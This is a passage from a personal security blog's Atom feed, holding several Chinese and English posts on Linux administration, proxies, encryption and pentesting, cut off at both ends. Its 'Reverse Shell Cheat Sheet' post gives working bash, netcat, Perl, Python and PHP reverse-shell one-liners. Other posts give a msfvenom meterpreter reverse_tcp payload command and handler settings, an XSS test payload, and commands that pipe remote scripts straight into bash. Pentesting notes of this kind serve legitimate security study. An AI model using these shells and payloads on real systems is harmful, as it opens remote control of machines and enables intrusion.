exe -o payload.exe</code></pre><p>MSf监听示例：</p><pre><code>Module options (exploit/multi/handler):   Name  Current Setting  Required  Description   ----  ---------------  --------  -----------Payload options (windows/x64/meterpreter_reverse_tcp):   Name        Current Setting  Required  Description   ----        ---------------  --------  -----------   EXITFUNC    process          yes       Exit technique (Accepted: &apos;&apos;, seh, thread, process, none)   EXTENSIONS                   no        Comma-separate list of extensions to load   EXTINIT                      no        Initialization strings for extensions   LHOST       172.16.1.254     yes       The listen address   LPORT       4444             yes       The listen port</code></pre><p>附一张截图：</p><p><img src="http://image.3001.net/images/20180419/15241064908917.jpg!small" alt=""></p><p>结束语：<br>当然frp不止tcp端口转发这一种用法，还可以做socks5,http代理等，其他的自行查看说明文档。</p>]]></content>
    
    <summary type="html">
    
      &lt;hr&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;前言：&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;本来一开始是在Vps上直接安装的MSF,想安装的可以试试，附一键脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb &amp;gt; msfinstall

chmod 755 msfinstall &amp;amp;&amp;amp; ./msfinstall
&lt;/code&gt;&lt;/pre&gt;
    
    </summary>
    
      <category term="msf" scheme="https://10o0.github.io/categories/msf/"/>
    
    
      <category term="msf" scheme="https://10o0.github.io/tags/msf/"/>
    
      <category term="frp" scheme="https://10o0.github.io/tags/frp/"/>
    
  </entry>
  
  <entry>
    <title>How to encrypt files and folders with eCryptfs in Ubuntu/Debian/kali linux</title>
    <link href="https://10o0.github.io/2018/03/27/encrypt%20in%20linux/"/>
    <id>https://10o0.github.io/2018/03/27/encrypt in linux/</id>
    <published>2018-03-27T04:36:32.000Z</published>
    <updated>2018-07-26T07:38:15.240Z</updated>
    
    <content type="html"><![CDATA[<pre><code>apt-get install ecryptfs-utilsmodprobe ecryptfs  #Load the ecryptfs kernel driverecryptfs-setup-private ##defaultecryptfs-umount-private  # to unmountecryptfs-mount-private  # to mount it again,Switch to another directory except home#######ecryptfs-setup-private --noautoumount  # avoid ecryptfs auto mount at login</code></pre>]]></content>
    
    <summary type="html">
    
      
      
        &lt;pre&gt;&lt;code&gt;apt-get install ecryptfs-utils

modprobe ecryptfs  #Load the ecryptfs kernel driver

ecryptfs-setup-private ##default

ecryptfs-u
      
    
    </summary>
    
      <category term="encrypt" scheme="https://10o0.github.io/categories/encrypt/"/>
    
    
      <category term="encrypt" scheme="https://10o0.github.io/tags/encrypt/"/>
    
      <category term="eCryptfs" scheme="https://10o0.github.io/tags/eCryptfs/"/>
    
      <category term="kali" scheme="https://10o0.github.io/tags/kali/"/>
    
  </entry>
  
  <entry>
    <title>Reverse Shell Cheat Sheet</title>
    <link href="https://10o0.github.io/2018/03/20/Reverse%20Shell%20Cheat%20Sheet/"/>
    <id>https://10o0.github.io/2018/03/20/Reverse Shell Cheat Sheet/</id>
    <published>2018-03-20T06:56:16.000Z</published>
    <updated>2018-07-26T07:38:15.240Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>set a listener:</p></blockquote><pre><code>nc -nvlp 443</code></pre><blockquote><p>Bash:</p></blockquote><pre><code>bash -i &gt;&amp; /dev/tcp/192.168.1.11/443 0&gt;&amp;1</code></pre><blockquote><p>Netcat</p></blockquote><pre><code>nc -nv 192.168.1.11 443 -e /bin/bash ##linuxnc.exe -nv 192.168.1.11 443 -e cmd   ##windows</code></pre><blockquote><p>Perl</p></blockquote><pre><code>perl -e &apos;use Socket;$i=&quot;192.168.1.11&quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S ,sockaddr_in($p,inet_aton($i)))){open(STDIN,&quot;&gt;&amp;S&quot;);open(STDOUT,&quot;&gt;&amp;S&quot;);open(STDERR,&quot;&gt;&amp;S&quot;);exec(&quot; /bin/bash -i&quot;);};&apos;</code></pre><blockquote><p>Python</p></blockquote><pre><code>python -c &apos;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;192.168.1.11&quot;,443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);&apos;</code></pre><blockquote><p>PHP</p></blockquote><pre><code>php -r &apos;$sock=fsockopen(&quot;192.168.1.11&quot;,443);exec(&quot;/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&quot;);&apos;</code></pre>]]></content>
    
    <summary type="html">
    
      
      
        &lt;blockquote&gt;
&lt;p&gt;set a listener:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;nc -nvlp 443
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;Bash:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;ba
      
    
    </summary>
    
      <category term="shell" scheme="https://10o0.github.io/categories/shell/"/>
    
    
      <category term="python" scheme="https://10o0.github.io/tags/python/"/>
    
      <category term="bash" scheme="https://10o0.github.io/tags/bash/"/>
    
      <category term="perl" scheme="https://10o0.github.io/tags/perl/"/>
    
      <category term="netcat" scheme="https://10o0.github.io/tags/netcat/"/>
    
      <category term="php" scheme="https://10o0.github.io/tags/php/"/>
    
  </entry>
  
  <entry>
    <title>Python PyQt5</title>
    <link href="https://10o0.github.io/2018/03/07/Python%E5%AE%9E%E7%94%A8/"/>
    <id>https://10o0.github.io/2018/03/07/Python实用/</id>
    <published>2018-03-07T03:28:47.000Z</published>
    <updated>2018-07-26T07:38:15.240Z</updated>
    
    <content type="html"><![CDATA[<h1 id="使用Python3，PyQt5实现简易浏览器"><a href="#使用Python3，PyQt5实现简易浏览器" class="headerlink" title="使用Python3，PyQt5实现简易浏览器"></a>使用Python3，PyQt5实现简易浏览器</h1><pre><code>from PyQt5.QtWidgets import QApplicationfrom PyQt5.QtWebEngineWidgets import QWebEngineViewfrom PyQt5.QtCore import QUrlapp = QApplication([])view = QWebEngineView()view.load(QUrl(&quot;https://translate.google.cn&quot;))view.show()app.exec_()</code></pre><hr><a id="more"></a>]]></content>
    
    <summary type="html">
    
      &lt;h1 id=&quot;使用Python3，PyQt5实现简易浏览器&quot;&gt;&lt;a href=&quot;#使用Python3，PyQt5实现简易浏览器&quot; class=&quot;headerlink&quot; title=&quot;使用Python3，PyQt5实现简易浏览器&quot;&gt;&lt;/a&gt;使用Python3，PyQt5实现简易浏览器&lt;/h1&gt;&lt;pre&gt;&lt;code&gt;from PyQt5.QtWidgets import QApplication
from PyQt5.QtWebEngineWidgets import QWebEngineView
from PyQt5.QtCore import QUrl

app = QApplication([])
view = QWebEngineView()
view.load(QUrl(&amp;quot;https://translate.google.cn&amp;quot;))
view.show()
app.exec_()
&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
    
    </summary>
    
      <category term="python" scheme="https://10o0.github.io/categories/python/"/>
    
    
      <category term="python" scheme="https://10o0.github.io/tags/python/"/>
    
      <category term="pyqt5" scheme="https://10o0.github.io/tags/pyqt5/"/>
    
      <category term="browser" scheme="https://10o0.github.io/tags/browser/"/>
    
  </entry>
  
  <entry>
    <title>How to setup a socks5 proxy server using Dante</title>
    <link href="https://10o0.github.io/2018/01/22/How-to-setup-a-socks5-proxy-server-using-Dante/"/>
    <id>https://10o0.github.io/2018/01/22/How-to-setup-a-socks5-proxy-server-using-Dante/</id>
    <published>2018-01-22T02:26:52.000Z</published>
    <updated>2018-07-26T07:38:15.240Z</updated>
    
    <content type="html"><![CDATA[<pre><code>debain可用参考链接：https://nfalcone.net/blog/danted-socks-proxy-server/</code></pre><a id="more"></a><p><strong>&gt; 其他：</strong></p><h1 id="socks5软件包安装"><a href="#socks5软件包安装" class="headerlink" title="socks5软件包安装:"></a>socks5软件包安装:</h1><pre><code># apt-get update &amp;&amp; apt-get upgrade# apt-get install dante-server# service danted restart# service danted status# danted -vdanted: dante v1.1.19</code></pre><h1 id="socks5源码安装："><a href="#socks5源码安装：" class="headerlink" title="socks5源码安装："></a>socks5源码安装：</h1><pre><code># cd /usr/src# wget http://www.inet.no/dante/files/dante-1.4.2.tar.gz# tar -zxf dante-1.4.2.tar.gz# cd dante-1.4.2/# apt-get install gcc make#./configure --prefix=/usr --sysconfdir=/etc --localstatedir=/var --disable-client --without-libwrap --without-bsdauth --without-gssapi --without-krb5 --without-upnp --without-pam# make &amp;&amp; make install# /usr/sbin/sockd -vDante v1.4.2.  Copyright (c) 1997 - 2014 Inferno Nettverk A/S, Norway</code></pre><h1 id="Configuring-Dante-server-service-script"><a href="#Configuring-Dante-server-service-script" class="headerlink" title="Configuring Dante-server service script"></a>Configuring Dante-server service script</h1><pre><code># vim /etc/init.d/sockd</code></pre><h1 id="参考链接："><a href="#参考链接：" class="headerlink" title="参考链接："></a>参考链接：</h1><pre><code>https://www.proxyrack.com/how-to-setup-a-socks5-proxy-server-using-dante/</code></pre><h1 id="debain可能遇到的问题："><a href="#debain可能遇到的问题：" class="headerlink" title="debain可能遇到的问题："></a>debain可能遇到的问题：</h1><blockquote><p>perl: warning: Falling back to the standard locale (“C”)</p></blockquote><pre><code>root@host:~#locale-gen en_GB.UTF-8root@host:~#localectl set-locale LANG=en_GB.UTF-8,LC_ALL=en_GB.UTF-8</code></pre><blockquote><p>参考：<a href="https://konradpodgorski.com/blog/2014/06/23/fixing-locale-problem-debian/" target="_blank" rel="noopener">https://konradpodgorski.com/blog/2014/06/23/fixing-locale-problem-debian/</a></p></blockquote><p>debain VPs 安装失败：仅作记录</p>]]></content>
    
    <summary type="html">
    
      &lt;pre&gt;&lt;code&gt;debain可用参考链接：

https://nfalcone.net/blog/danted-socks-proxy-server/
&lt;/code&gt;&lt;/pre&gt;
    
    </summary>
    
      <category term="笔记" scheme="https://10o0.github.io/categories/%E7%AC%94%E8%AE%B0/"/>
    
    
      <category term="socks5" scheme="https://10o0.github.io/tags/socks5/"/>
    
      <category term="proxy" scheme="https://10o0.github.io/tags/proxy/"/>
    
  </entry>
  
  <entry>
    <title>SS安装脚本</title>
    <link href="https://10o0.github.io/2018/01/22/SS%E5%AE%89%E8%A3%85%E8%84%9A%E6%9C%AC/"/>
    <id>https://10o0.github.io/2018/01/22/SS安装脚本/</id>
    <published>2018-01-22T02:01:21.000Z</published>
    <updated>2018-07-26T07:38:15.240Z</updated>
    
    <content type="html"><![CDATA[<h1 id="一键安装："><a href="#一键安装：" class="headerlink" title="一键安装："></a>一键安装：</h1><pre><code>wget --no-check-certificate https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-all.shchmod +x shadowsocks-all.sh./shadowsocks-all.sh 2&gt;&amp;1 | tee shadowsocks-all.log</code></pre><blockquote><p>多用户配置文件：vim /etc/shadowsocks-go/config.json</p></blockquote><pre><code>{    &quot;server&quot;:&quot;0.0.0.0&quot;,    &quot;port_password&quot;:{         &quot;8989&quot;:&quot;password0&quot;,         &quot;9001&quot;:&quot;password1&quot;,         &quot;9002&quot;:&quot;password2&quot;,         &quot;9003&quot;:&quot;password3&quot;,         &quot;9004&quot;:&quot;password4&quot;    },    &quot;method&quot;:&quot;aes-256-cfb&quot;,    &quot;timeout&quot;:600}</code></pre><h1 id="卸载："><a href="#卸载：" class="headerlink" title="卸载："></a>卸载：</h1><pre><code>./shadowsocks-all.sh uninstall</code></pre><a id="more"></a><h1 id="启动命令："><a href="#启动命令：" class="headerlink" title="启动命令："></a>启动命令：</h1><blockquote><p>启动脚本后面的参数含义，从左至右依次为：启动，停止，重启，查看状态。</p></blockquote><pre><code>echo &quot;alias ss=&apos;/etc/init.d/shadowsocks-go&apos;&quot; &gt;&gt; .bashrcShadowsocks-Python 版：/etc/init.d/shadowsocks-python start | stop | restart | statusShadowsocksR 版：/etc/init.d/shadowsocks-r start | stop | restart | statusShadowsocks-Go 版：/etc/init.d/shadowsocks-go start | stop | restart | statusShadowsocks-libev 版：/etc/init.d/shadowsocks-libev start | stop | restart | status各版本默认配置文件Shadowsocks-Python 版：/etc/shadowsocks-python/config.jsonShadowsocksR 版：/etc/shadowsocks-r/config.jsonShadowsocks-Go 版：/etc/shadowsocks-go/config.jsonShadowsocks-libev 版：/etc/shadowsocks-libev/config.json</code></pre><h1 id="VPS测速脚本："><a href="#VPS测速脚本：" class="headerlink" title="VPS测速脚本："></a>VPS测速脚本：</h1><pre><code>wget -qO- –no-check-certificate https://raw.githubusercontent.com/oooldking/script/master/superbench.sh | bashwget -qO- bench.sh | bash   或者     curl -Lso- bench.sh | bash</code></pre>]]></content>
    
    <summary type="html">
    
      &lt;h1 id=&quot;一键安装：&quot;&gt;&lt;a href=&quot;#一键安装：&quot; class=&quot;headerlink&quot; title=&quot;一键安装：&quot;&gt;&lt;/a&gt;一键安装：&lt;/h1&gt;&lt;pre&gt;&lt;code&gt;wget --no-check-certificate https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-all.sh
chmod +x shadowsocks-all.sh
./shadowsocks-all.sh 2&amp;gt;&amp;amp;1 | tee shadowsocks-all.log
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;多用户配置文件：vim /etc/shadowsocks-go/config.json&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;{
    &amp;quot;server&amp;quot;:&amp;quot;0.0.0.0&amp;quot;,
    &amp;quot;port_password&amp;quot;:{
         &amp;quot;8989&amp;quot;:&amp;quot;password0&amp;quot;,
         &amp;quot;9001&amp;quot;:&amp;quot;password1&amp;quot;,
         &amp;quot;9002&amp;quot;:&amp;quot;password2&amp;quot;,
         &amp;quot;9003&amp;quot;:&amp;quot;password3&amp;quot;,
         &amp;quot;9004&amp;quot;:&amp;quot;password4&amp;quot;
    },
    &amp;quot;method&amp;quot;:&amp;quot;aes-256-cfb&amp;quot;,
    &amp;quot;timeout&amp;quot;:600
}
&lt;/code&gt;&lt;/pre&gt;&lt;h1 id=&quot;卸载：&quot;&gt;&lt;a href=&quot;#卸载：&quot; class=&quot;headerlink&quot; title=&quot;卸载：&quot;&gt;&lt;/a&gt;卸载：&lt;/h1&gt;&lt;pre&gt;&lt;code&gt;./shadowsocks-all.sh uninstall
&lt;/code&gt;&lt;/pre&gt;
    
    </summary>
    
      <category term="笔记" scheme="https://10o0.github.io/categories/%E7%AC%94%E8%AE%B0/"/>
    
    
      <category term="ss" scheme="https://10o0.github.io/tags/ss/"/>
    
      <category term="shadowsocks" scheme="https://10o0.github.io/tags/shadowsocks/"/>
    
  </entry>
  
  <entry>
    <title>Xss常用测试代码</title>
    <link href="https://10o0.github.io/2018/01/18/Xss%E5%B8%B8%E7%94%A8%E6%B5%8B%E8%AF%95%E4%BB%A3%E7%A0%81/"/>
    <id>https://10o0.github.io/2018/01/18/Xss常用测试代码/</id>
    <published>2018-01-18T07:54:28.000Z</published>
    <updated>2018-07-26T07:38:15.240Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>简单测试代码：</p></blockquote><pre><code>&lt;img src=&quot;#&quot; onerror=&quot;alert(111)&quot;&gt;</code></pre>]]></content>
    
    <summary type="html">
    
      
      
        &lt;blockquote&gt;
&lt;p&gt;简单测试代码：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&amp;quot;#&amp;quot; onerror=&amp;quot;alert(111)&amp;quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
      
    
    </summary>
    
      <category term="笔记" scheme="https://10o0.github.io/categories/%E7%AC%94%E8%AE%B0/"/>
    
    
      <category term="xss" scheme="https://10o0.github.io/tags/xss/"/>
    
      <category term="js" scheme="https://10o0.github.io/tags/js/"/>
    
  </entry>
  
  <entry>
    <title>msf常用命令</title>
    <link href="https://10o0.github.io/2018/01/18/msf-shell/"/>
    <id>https://10o0.github.io/2018/01/18/msf-shell/</id>
    <published>2018-01-18T02:22:16.000Z</published>
    <updated>2018-07-26T07:38:15.240Z</updated>
    
    <content type="html"><![CDATA[<p>Msf安装：</p><pre><code>curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb &gt; msfinstallchmod 755 msfinstall &amp;&amp; ./msfinstall</code></pre><hr><p>Msfshell</p><pre><code>java/meterpreter/reverse_tcpmsfvenom -p java/meterpreter/reverse_tcp  LHOST=203.101.160.157 LPORT=8808 -f jar -o msfserver.jar</code></pre>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;Msf安装：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrapp
      
    
    </summary>
    
      <category term="笔记" scheme="https://10o0.github.io/categories/%E7%AC%94%E8%AE%B0/"/>
    
    
      <category term="msf" scheme="https://10o0.github.io/tags/msf/"/>
    
      <category term="shell" scheme="https://10o0.github.io/tags/shell/"/>
    
  </entry>
  
  <entry>
    <title>linux实用技巧</title>
    <link href="https://10o0.github.io/2018/01/18/linux%E5%AE%9E%E7%94%A8%E6%8A%80%E5%B7%A7/"/>
    <id>https://10o0.github.io/2018/01/18/linux实用技巧/</id>
    <published>2018-01-18T01:56:49.000Z</published>
    <updated>2018-07-26T07:38:15.240Z</updated>
    
    <content type="html"><![CDATA[<h1 id="自定义终端命令启动程序"><a href="#自定义终端命令启动程序" class="headerlink" title="自定义终端命令启动程序"></a>自定义终端命令启动程序</h1><blockquote><p>编辑 .bashrc 文件：</p></blockquote><pre><code>root@kali:~# vim .bashrc root@kali:~# source .bashrc</code></pre><p>exm：</p><pre><code>alias burp=&apos;setsid java -jar /root/softs/burpsuite_pro_v1.6.37.jar &gt;/dev/null 2&gt;&amp;1 &amp;&apos;echo &quot;###&quot; &gt; file  ##替换文件echo &quot;###&quot; &gt;&gt; file ##追加写入文件echo &quot;alias ss=&apos;ss start&apos;&quot; &gt;&gt; .bashrc</code></pre><hr><h1 id="设置ssh免密码登录"><a href="#设置ssh免密码登录" class="headerlink" title="设置ssh免密码登录"></a>设置ssh免密码登录</h1><pre><code>在.ssh目录下：本地主机： ssh-keygen -t rsa   ##生成id_rsa.pubcat vps_rsa.pub &gt;&gt; authorized_keys   ##写入文件复制authorized_keys到远程主机： scp -P 22 authorized_keys root@176.*.145.*:/root/.ssh从远程主机下载文件：scp -P 22 root@176.*.145.*:/root/test.txt /root/</code></pre><h1 id="批量操作文件"><a href="#批量操作文件" class="headerlink" title="批量操作文件"></a>批量操作文件</h1><pre><code>find ./ -name &quot;*.docx&quot; | awk -F &quot;.&quot; &apos;{print $2}&apos; | xargs -i -t mv ./{}.docx  ./{}.doc   #批量修改后缀名cp -r &apos;find root/a -iname *.doc&apos; root/b   #批量复制某后缀名的文件</code></pre><h1 id="配置终端使用HTTP-or-SOCKS5代理"><a href="#配置终端使用HTTP-or-SOCKS5代理" class="headerlink" title="配置终端使用HTTP or SOCKS5代理"></a>配置终端使用HTTP or SOCKS5代理</h1><blockquote><p>把代理服务器地址写入shell配置文件.bashrc或者.zshrc</p><p>直接在<strong>.bashrc</strong>或者.zshrc添加下面内容</p></blockquote><pre><code>export http_proxy=&quot;http://localhost:port&quot;export https_proxy=&quot;http://localhost:port&quot;</code></pre><blockquote><p>以使用shadowsocks代理为例，ss的代理端口为1080,那么应该设置为</p></blockquote><pre><code>export http_proxy=&quot;socks5://127.0.0.1:1080&quot;export https_proxy=&quot;socks5://127.0.0.1:1080&quot;</code></pre><blockquote><p><strong>或者直接设置ALL_PROXY</strong></p></blockquote><pre><code>export ALL_PROXY=socks5://127.0.0.1:1080</code></pre><blockquote><p>然后ESC后:wq保存文件，接着在终端中执行</p></blockquote><pre><code>source ~/.bashrc</code></pre><blockquote><p>或者退出当前终端再起一个终端。 这个办法的好处是把代理服务器永久保存了，下次就可以直接用了。</p><p><strong>或者通过设置alias简写来简化操作，每次要用的时候输入setproxy，不用了就unsetproxy。</strong></p></blockquote><pre><code>alias setproxy=&quot;export ALL_PROXY=socks5://127.0.0.1:1080&quot;alias unsetproxy=&quot;unset ALL_PROXY&quot;alias ip=&quot;curl ip.cn&quot;</code></pre>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;自定义终端命令启动程序&quot;&gt;&lt;a href=&quot;#自定义终端命令启动程序&quot; class=&quot;headerlink&quot; title=&quot;自定义终端命令启动程序&quot;&gt;&lt;/a&gt;自定义终端命令启动程序&lt;/h1&gt;&lt;blockquote&gt;
&lt;p&gt;编辑 .bashrc 文件：&lt;/p&gt;
&lt;/
      
    
    </summary>
    
      <category term="笔记" scheme="https://10o0.github.io/categories/%E7%AC%94%E8%AE%B0/"/>
    
    
      <category term="bash" scheme="https://10o0.github.io/tags/bash/"/>
    
      <category term="linux" scheme="https://10o0.github.io/tags/linux/"/>
    
      <category term="sh" scheme="https://10o0.github.io/tags/sh/"/>
    
  </entry>
  
  <entry>
    <title>linux入侵检测基础</title>
    <link href="https://10o0.github.io/2018/01/18/linux%E5%85%A5%E4%BE%B5%E6%A3%80%E6%B5%8B%E5%9F%BA%E7%A1%80/"/>
    <id>https://10o0.github.io/2018/01/18/linux入侵检测基础/</id>
    <published>2018-01-18T01:30:05.000Z</published>
    <updated>2018-07-26T07:38:15.240Z</updated>
    
    <content type="html"><![CDATA[<h1 id="审计命令"><a href="#审计命令" class="headerlink" title="审计命令"></a>审计命令</h1><h2 id="last"><a href="#last" class="headerlink" title="last"></a>last</h2><blockquote><p>这个命令可用于查看我们系统的成功登录、关机、重启等情况，本质就是将/var/log/wtmp文件格式化输出，因此如果该文件被删除，则无法输出结果。</p></blockquote><pre><code>相关参数：last -10（-n） 查看最近10条记录last -x reboot 查看重启的记录last -x shutdown 查看关机的记录last -d 查看登陆的记录last –help 命令帮助信息last -f wtmp 用last命令查看wtmp文件（直接打开无法查看）</code></pre><a id="more"></a><h2 id="lastb"><a href="#lastb" class="headerlink" title="lastb"></a>lastb</h2><blockquote><p>这个命令用于查看登录失败的情况，本质就是将/var/log/btmp文件格式化输出。</p></blockquote><pre><code>相关参数：lastb name（root） 查看root用户登陆失败记录lastb -10（-n） 查看最近10条登陆失败记录lastb –heplp 命令帮助信息</code></pre><h2 id="lastlog"><a href="#lastlog" class="headerlink" title="lastlog"></a>lastlog</h2><blockquote><p>这个命令用于查看用户上一次的登录情况，本质就是将/var/log/lastlog文件格式化输出。</p></blockquote><pre><code>相关参数：lastlog 所有用户上一次登陆记录lastlog -u username（root） root用户上一次登陆记录lastlog –help 命令帮助信息</code></pre><h2 id="who"><a href="#who" class="headerlink" title="who"></a>who</h2><blockquote><p>这个命令用户查看当前登录系统的情况，本质就是将/var/log/utmp文件格式化输出。主要用来查看当前用户名称，以及登陆的ip地址信息，w命令与who一样，会更详细一些。</p><h2 id="history"><a href="#history" class="headerlink" title="history"></a>history</h2><p>查看历史命令记录，其实就是查看root/.bash_history文件内容，删除这个文件，记录就没了。</p></blockquote><pre><code>相关参数：history 查看所有历史记录history -10 查看最近10条记录history | grep “wget” 查看wget相关信息的记录history –help 命令帮助信息</code></pre><blockquote><p>history显示时间戳：</p></blockquote><p><code>export HISTTIMEFORMAT=&quot;%F %T</code>whoami<code>&quot;history | more</code></p><h1 id="检查用户"><a href="#检查用户" class="headerlink" title="检查用户"></a>检查用户</h1><blockquote><p>Linux不同的用户，有不同的操作权限，但是所有用户都会在/etc/passwd、/etc/shadow、/etc/group文件中记录。</p></blockquote><pre><code>less /etc/passwd　　查看是否有新增用户grep :0 /etc/passwd　　查看是否有特权用户（root权限用户）ls -l /etc/passwd　　查看passwd最后修改时间</code></pre><p><code>cawk -F: &#39;$3==0 {print $1}&#39; /etc/passwd　　查看是否存在特权用户</code></p><p><code>awk -F: &#39;length($2)==0 {print $1}&#39; /etc/shadow　　查看是否存在空口令用户</code></p><blockquote><p>注：linux设置空口令：<code>passwd -d username</code></p></blockquote><h1 id="检查进程"><a href="#检查进程" class="headerlink" title="检查进程"></a>检查进程</h1><blockquote><p>一般被入侵的服务器都会运行一些恶意程序，或是挖矿程序，或者DDOS程序等等，如果程序运行着，那么通过查看进程可以发现一些信息。</p></blockquote><h2 id="普通进程"><a href="#普通进程" class="headerlink" title="普通进程"></a>普通进程</h2><pre><code>ps -aux　　查看进程top查看进程lsof -p pid　　查看进程所打开的端口及文件lsof -c 进程名　　查看关联文件ps -aux | grep python | cut -d &apos; &apos; -f 2 | xargs kill   杀死python相关的进程</code></pre><blockquote><p>检查/etc/inetd.conf文件，输入：<code>cat /etc/inetd.conf | grep –v &quot;^#&quot;</code>，输出的信息就是你这台机器所开启的远程服务。</p></blockquote><h2 id="隐藏进程"><a href="#隐藏进程" class="headerlink" title="隐藏进程"></a>隐藏进程</h2><pre><code>ps -ef | awk &apos;{print}&apos; | sort -n | uniq &gt;1  ls /proc | sort -n |uniq &gt;2diff 1 2</code></pre><h1 id="检查文件"><a href="#检查文件" class="headerlink" title="检查文件"></a>检查文件</h1><blockquote><p>被入侵的网站，通常肯定有文件被改动，那么可以通过比较文件创建时间、完整性、文件路径等方式查看文件是否被改动。</p></blockquote><pre><code>find / -uid 0 -print　　查找特权用户文件find / -size +10000k -print　　查找大于10000k的文件find / -name &quot;…&quot; -prin　　查找用户名为…的文件find / -name core -exec ls -l {} \;　　查找core文件，并列出详细信息md5sum -b filename　　查看文件的md5值rpm -qf /bin/ls　　检查文件的完整性（还有其它/bin目录下的文件）whereis 文件名　　查看文件路径ls -al 文件名　　查看文件创建时间du -sh  文件名   查看文件大小</code></pre><h1 id="检查网络"><a href="#检查网络" class="headerlink" title="检查网络"></a>检查网络</h1><blockquote><p>检查网络的目的，是查看黑客是否通过篡改网卡类型，进行流量嗅探等操作。</p></blockquote><pre><code>ip link | grep PROMISC　　正常网卡不应该存在promisc，如果存在可能有snifferlsof -inetstat -nap　　查看不正常端口arp -a　　查看arp记录是否正常ifconfig -a　　查看网卡设置</code></pre><h1 id="检查计划任务"><a href="#检查计划任务" class="headerlink" title="检查计划任务"></a>检查计划任务</h1><blockquote><p>当我们尝试kill恶意程序时，往往会遇到被kill程序自动启动的问题，那么就要检查下计划任务(cron)了。</p></blockquote><pre><code>crontab -u root -l　　查看root用户的计划任务cat /etc/crontabls -l /etc/cron.*　　查看cron文件是否变化的详细信息ls /var/spool/cron/</code></pre><h1 id="检查系统后门"><a href="#检查系统后门" class="headerlink" title="检查系统后门"></a>检查系统后门</h1><blockquote><p>可以使用工具，如：Conmodo、rkhunter等，当然也可以手工输入命令检查。</p></blockquote><pre><code>vim $HOME/.ssh/authorized_keys　　查看ssh永久链接文件lsmod　　检查内核模块chkconfig –list/systemctl list-units –type=service　　检查自启</code></pre><blockquote><p>查看著名的木门后门程序：</p></blockquote><pre><code>ls /etc/rc.d   #系统开机后，此目录下的文件会被启动ls /etc/rc3.dfind / -name “.rhosts” –printfind / -name “.forward” –print</code></pre><h1 id="打包文件"><a href="#打包文件" class="headerlink" title="打包文件"></a>打包文件</h1><blockquote><p>当我们做好一切入侵检测分析后，我们需要把一些日志文件copy到本地进行更进一步详细的分析时，怎么打包服务器相关信息，并且copy到本地呢？</p></blockquote><h2 id="打包web文件"><a href="#打包web文件" class="headerlink" title="打包web文件"></a>打包web文件</h2><p>打包文件名中包含jsp的文件，打包后的文件为my_txt_files.tar：<br>tar cvf my_txt_files.tar <code>find . -type f -name &quot;*.jsp*&quot;</code></p><h2 id="打包日志文件"><a href="#打包日志文件" class="headerlink" title="打包日志文件"></a>打包日志文件</h2><pre><code>tar -cvf log.tar /var/log</code></pre><h2 id="打包其他信息"><a href="#打包其他信息" class="headerlink" title="打包其他信息"></a>打包其他信息</h2><pre><code>last &gt; last.lognetstat -an &gt; netstat.log</code></pre>]]></content>
    
    <summary type="html">
    
      &lt;h1 id=&quot;审计命令&quot;&gt;&lt;a href=&quot;#审计命令&quot; class=&quot;headerlink&quot; title=&quot;审计命令&quot;&gt;&lt;/a&gt;审计命令&lt;/h1&gt;&lt;h2 id=&quot;last&quot;&gt;&lt;a href=&quot;#last&quot; class=&quot;headerlink&quot; title=&quot;last&quot;&gt;&lt;/a&gt;last&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;这个命令可用于查看我们系统的成功登录、关机、重启等情况，本质就是将/var/log/wtmp文件格式化输出，因此如果该文件被删除，则无法输出结果。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;相关参数：

last -10（-n） 查看最近10条记录
last -x reboot 查看重启的记录
last -x shutdown 查看关机的记录
last -d 查看登陆的记录
last –help 命令帮助信息
last -f wtmp 用last命令查看wtmp文件（直接打开无法查看）
&lt;/code&gt;&lt;/pre&gt;
    
    </summary>
    
      <category term="笔记" scheme="https://10o0.github.io/categories/%E7%AC%94%E8%AE%B0/"/>
    
    
      <category term="linux" scheme="https://10o0.github.io/tags/linux/"/>
    
      <category term="入侵检测，安全审计" scheme="https://10o0.github.io/tags/%E5%85%A5%E4%BE%B5%E6%A3%80%E6%B5%8B%EF%BC%8C%E5%AE%89%E5%85%A8%E5%AE%A1%E8%AE%A1/"/>
    
  </entry>
  
  <entry>
    <title>kali安装NVIDIA显卡驱动</title>
    <link href="https://10o0.github.io/2018/01/10/kali%E5%AE%89%E8%A3%85NVIDIA%E6%98%BE%E5%8D%A1%E9%A9%B1%E5%8A%A8/"/>
    <id>https://10o0.github.io/2018/01/10/kali安装NVIDIA显卡驱动/</id>
    <published>2018-01-10T01:32:48.000Z</published>
    <updated>2018-07-26T07:38:15.240Z</updated>
    
